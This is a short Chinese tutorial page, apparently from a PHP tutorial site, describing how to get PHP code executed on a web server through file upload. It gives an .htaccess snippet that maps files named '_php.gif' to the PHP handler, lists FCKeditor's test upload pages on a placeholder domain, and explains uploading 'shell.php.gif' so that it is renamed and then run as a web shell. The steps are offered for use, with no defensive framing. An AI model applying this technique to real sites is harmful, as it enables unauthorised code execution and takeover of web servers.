服务报价 | 域名主机 | 网络营销 | 软件工具| [加入收藏]
 热线电话: #
当前位置: 主页 > php教程 > php教程 >

利用.htaccess文件来执行php脚本

时间:2016-09-24 17:02来源:未知 作者:最模板 点击:
利用.htaccess文件来执行php脚本。 利用步骤: 1.创建一个htaccess文件: 代码内容: FilesMatch _php.gif SetHandler application/x-httpd-php /FilesMatch 2.实用编辑器上传htaccess文件. http://www.xxxx.com/FCKeditor/edi

利用.htaccess文件来执行php脚本。

利用步骤:
1.创建一个htaccess文件:
代码内容:
<FilesMatch “_php.gif”>
SetHandler application/x-httpd-php
</FilesMatch>
2.实用编辑器上传htaccess文件.
http://www.xxxx.com/FCKeditor/editor/filemanager/upload/test.html
http://www.xxxx.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
3.上传shell.php.gif
4.上传后shell.php.gif, 会自动被改名为 shell_php.gif
5.访问http://www.xxxx.com/上传目录/shell_php.gif
(责任编辑:最模板)
顶一下
(0)
0%
踩一下
(1)
100%
------分隔线----------------------------
栏目列表
热点内容